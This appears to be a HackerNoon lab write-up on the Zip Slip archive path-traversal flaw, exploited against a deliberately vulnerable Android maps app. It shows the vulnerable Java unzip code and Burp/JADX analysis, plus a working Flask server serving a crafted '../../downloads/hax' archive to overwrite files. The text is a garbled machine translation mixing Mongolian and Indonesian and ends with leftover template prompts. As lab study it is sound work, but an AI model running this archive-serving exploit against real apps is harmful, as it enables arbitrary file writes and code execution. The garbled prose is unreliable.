paint-brush
Өмнө нь илчлэгдэж байгаагүй алдаа нь хакеруудад гэмгүй мэт харагдах файлуудаар дамжуулан сая сая системийг хулгайлах боломжийг олгосон.by@psychopper
338 уншилтууд
338 уншилтууд

Өмнө нь илчлэгдэж байгаагүй алдаа нь хакеруудад гэмгүй мэт харагдах файлуудаар дамжуулан сая сая системийг хулгайлах боломжийг олгосон.

by Fikri Azhar13m2025/01/28
Read on Terminal Reader

Хэтэрхий урт; Унших

Zip Slip нь архив задлах үйл явцад өргөн тархсан ноцтой эмзэг байдал юм. Энэ эмзэг байдлыг 2018 оны 6-р сарын 5-нд олон нийтэд зарлахаас өмнө Snyk Security багийнхан илрүүлж, хариуцлагатайгаар илчилсэн. Энэ асуудал нь HP, Amazon, Apache, Pivotal болон бусад олон томоохон компаниудын эзэмшдэг олон мянган төслүүдэд нөлөөлж байна.
featured image - Өмнө нь илчлэгдэж байгаагүй алдаа нь хакеруудад гэмгүй мэт харагдах файлуудаар дамжуулан сая сая системийг хулгайлах боломжийг олгосон.
Fikri Azhar HackerNoon profile picture
0-item



ZIP SLIP-ийн эмзэг байдал гэж юу вэ?

Zip Slip нь архив задлах үйл явцад өргөн тархсан ноцтой эмзэг байдал бөгөөд халдагчдад системд дурын файл бичих боломжийг олгодог. Энэ нь ихэвчлэн RCE (Алсын кодыг гүйцэтгэх) үр дүнд хүргэдэг. Энэ эмзэг байдлыг 2018 оны 6-р сарын 5-нд олон нийтэд зарлахаас өмнө Snyk Security-ийн баг илрүүлж, хариуцлагатайгаар илчилсэн. Энэ асуудал нь HP, Amazon, Apache, Pivotal болон бусад олон томоохон компаниудын эзэмшдэг олон мянган төслүүдэд нөлөөлж байна.


Zip Slip-ийг тусгайлан боловсруулсан архивууд (eg, ../../evil.sh) лавлахыг багтаасан файлын нэрээр ашигладаг. Энэ эмзэг байдал нь tar, ghz, jar, war, cpio, apk, rar, 7z гэх мэт олон архивын форматуудад тохиолдож болно.


Энэ эмзэг байдлын гол цөм нь лавлах руу шилжих явдал бөгөөд халдагчид зорилтот фолдероос гадуур системийн файлуудын зарим хэсэгт хандах боломжтой. Халдагчид дараа нь гүйцэтгэгдэх файлыг дарж, алсаас ажиллуулах эсвэл систем эсвэл хэрэглэгч файл руу залгахыг хүлээж, хохирогчийн машин дээр командуудыг ажиллуулж болно. Нэмж дурдахад, энэ эмзэг байдал нь тохиргооны файлууд эсвэл бусад эмзэг нөөцүүдийг дарж бичих замаар гэмтэл учруулж болзошгүй бөгөөд үүнийг хэрэглэгчийн машин болон сервер дээр ашиглах боломжтой.


ZIP Slip-г хэрхэн ашиглах вэ

Кали үүнийг untuk mempelajari cara exploit ZIP Slip Vulnerability nya memakai aplikasi android yang sengaja rentan dibuat untuk практикум ini.


Google Maps програмыг ашиглан орон нутгийн газрын зургийг татаж авахын тулд эх сурвалжийг татаж авахын тулд товчлуур дээр дарж, дарна уу .


Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web dan mobile. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .


Татаж авах хэрэгслүүд болон холбоос дээр дарна уу:

https://portswigger.net/burp/communitydownload


Berikut adalah hasil Intercept keta kita mau menambahkan maps nya, dan bisa di analysis kalau apk ini rentan karena permintaan API nya masih memakai protocol HTTP tidak menggunakan HTTPS yang dimana memungkinkan Attacker tidak hanya bisa melihattim trafik bidan, tidak hanya bisa melihatrim kitarim yang, manipulate/memodifikasi хүсэлт, хариу үйлдэл болон Cleartext.


Дан факта ня бахва кетика масих мемакай HTTP дапат мембука сэлурух талбайг пермукаан серанган, Контохня женис серанган ян седанг кита буат ини.



JADX хэрэглүүрийг буцаахдаа урвуу инженерчлэлийг ашиглан статик анализ хийх боломжтой.


network_security_config.xml файлыг задлан шинжилж, cleartextTrafficPermitted="true" тохиргоог хийж болно. Sehingga configurasi ini mengizinkan clear text traffic ди setiap permintaan untuk domain yang diizinkan. Tetapi apakah домэйн ini benar-benar digunakan untuk CleartextTraffic tersebut. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production.



ini adalah Hasil intercept keta kita men maps татаж авах nya yang dimana dia membil файл ZIP dengan format .ghz





Dan mencoba mendownload file .ghz secara manual dengan copas di зөөврийн компьютер. Berikut adalah isi файл ZIP tersebut.


Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa gunakan тушаалыг find / | grep australia oceania_nauru.map di adb shell mobile emulator нь pastikan juga kalau kita sudah memiliki akses root di emulatornya.





Bisa dilihat kalau path file yang di unzip ada di :

/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/

Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip файлын газрын зураг.





Эмзэг байдлын шинжилгээний үе шат


Mari kita lihat lebih dekat pada arbitary file write Эмзэг байдал dalam aplikasi nya, Seperti yang sudah kita ketahui issue nya terkait dengan File ZIP Maps Handling. Lakukan lagi статик анализ dengan mencari түлхүүр үг: ZipEntry agar mengetahui анги код nya meng-бариултай файл ZIP mapnya.



Sebelum kita анализ lebih dalam code nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability

Пенжеласан:

Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Di sini, e.getName() dapat mengembalikan nama file dengan jalur relatif yang berbahaya, seperti ../../malicious.sh . Ini berarti file tersebut bisa diekstrak di luar destinationDir yang ditentukan.

 InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));

Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root system atau folder lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.


Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita шинжилгээний код нь apk nya:

Пембуатан зам Танпа Валидаси:

 String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();

Энэ файл ( str3 ) файлын захирал ( file.getAbsolutePath() ) zip ( nextEntry.getName() ) dengan dengan menggabungkan path ). Namun, nextEntry.getName() bisa berisi elemen path berbahaya seperti ../../ , yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file ).

Setelah path dibuat, file atau direktori dibuat langsung:

 if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }

Ini membuat atau menulis file tanpa memastikan bahwa str3 adalah jalur yang aman.




Ашиглалтын үе шат

Untuk di tahap ini saya menyiapkan 2 hal untuk environment serangan nya:

  1. Setup Dynamic HTTP Mocking Environment : өргөтгөл HTTP Mock dari burpsuite ini dapat mengubah хариу asli dari aplikasinya dengan mencocokkan дүрэм Yang sudah kita kirimkan dari http history maupun input manual . Pada contoh dibawah ini saya merubah response nya dengan memilih URL руу дахин чиглүүлэх, sehingga setiap хариултын aplikasi secara secara real time akan membil response Dari HTTP Mock.


2. Орон нутгийн серверийн орчныг тохируулах : Karena тохируулах хүсэлт нь хортой локал серверийг дахин чиглүүлэхээс татгалзаж болно:

 from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)













Та Кибер аюулгүй байдлын чиглэлээр яаж орсон бэ?

Та яагаад дижитал аюулгүй байдлын эрх мэдэлтэн юм бэ?

Та энэ салбарт ямар мэргэжилтэй вэ?

Цахим гэмт хэрэг байнга хөгжиж байдаг. Цахим гэмт хэргийн ертөнцөд дижитал луйварчидтай тэмцэхэд HackerNoon нийгэмлэгийн мэдэж болох шинэ зүйл юу вэ?

Уншигчдын анхаарах ёстой Кибер аюулгүй байдлын шинэ чиг хандлага эсвэл аюул заналхийлэл бий юу?

Троян, хортой програм, тагнуул гэх мэт. Бидний хайртай компьютерт халдварлаж, бидний мэдээллийг авч болох хамгийн сүүлийн үеийн алдаануудын талаар ямар мэдээлэл байна вэ? Гэсэн хэдий ч энэ нь үүгээр зогсохгүй; Өөр ямар кибер хорон муу байгааг бидэнд мэдэгдээрэй!

Та онлайнаар өөрийгөө хэрхэн хамгаалах вэ?

Та эмзэг талтай шинэ технологиудыг хэрхэн удирдаж байна вэ? Ухаалаг гэр, хиймэл оюун ухаан, эд зүйлсийн интернет зэрэг нь сул талуудтай.

Нэмэлт бодол


Дүгнэлт


Төслөө бичиж, илгээхээсээ өмнө дээрх бүх мэдээллийг устгана уу. Баярлалаа!